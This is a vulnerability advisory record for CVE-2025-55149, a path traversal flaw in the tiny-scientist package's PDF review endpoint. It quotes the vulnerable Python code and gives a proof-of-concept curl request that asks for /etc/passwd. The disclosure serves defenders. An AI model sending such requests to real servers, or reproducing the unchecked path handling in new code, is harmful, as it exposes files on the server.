{"id":"CVE-2025-55149","aliases":["GHSA-rrgf-hcr9-jq6h","PYSEC-2026-1967"],"url":"https://o3.security/vulnerability/CVE-2025-55149","summary":"Path Traversal Vulnerability in PDF Review Function (CWE-22)","details":"## Description\nA critical path traversal vulnerability (CWE-22) has been identified in the `review_paper` function in `backend/app.py`. The vulnerability allows malicious users to access arbitrary PDF files on the server by providing crafted file paths that bypass the intended security restrictions.\n\n## Impact\nThis vulnerability allows attackers to:\n- Read any PDF file accessible to the server process\n- Potentially access sensitive documents outside the intended directory\n- Perform reconnaissance on the server's file system structure\n\n## Vulnerable Code\nThe issue occurs in the `review_paper` function around line 744:\n\n```python\nif pdf_path.startswith(\"/api/files/\"):\n    # Safe path handling for API routes\n    relative_path = pdf_path[len(\"/api/files/\"):]\n    generated_base = os.path.join(project_root, \"generated\")\n    absolute_pdf_path = os.path.join(generated_base, relative_path)\nelse:\n    absolute_pdf_path = pdf_path  # VULNERABLE: Direct use of user input\n```\n\n## Proof of Concept\n```bash\ncurl -X POST http://localhost:5000/api/review \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"pdf_path\": \"/etc/passwd\"}'\n```\n\n## Credit\nThis vulnerability was discovered and reported by Ruizhe.","published":"2025-08-09T02:02:30.630Z","modified":"2026-10-28T02:31:12.685055828Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"tiny-scientist","fixedVersion":null}],"fix":{"url":"https://github.com/ulab-uiuc/tiny-scientist/commit/7fd42873603012acb8c55a4fc3eaac9ab18e6559","label":"ulab-uiuc/tiny-scientist@7fd4287"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/55xxx/CVE-2025-55149.json"},{"type":"ADVISORY","url":"https://github.com/ulab-uiuc/tiny-scientist/security/advisories/GHSA-rrgf-hcr9-jq6h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55149"},{"type":"WEB","url":"https://github.com/ulab-uiuc/tiny-scientist/commit/7fd42873603012acb8c55a4fc3eaac9ab18e6559"},{"type":"PACKAGE","url":"https://github.com/ulab-uiuc/tiny-scientist"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:31:12.685055828Z"}}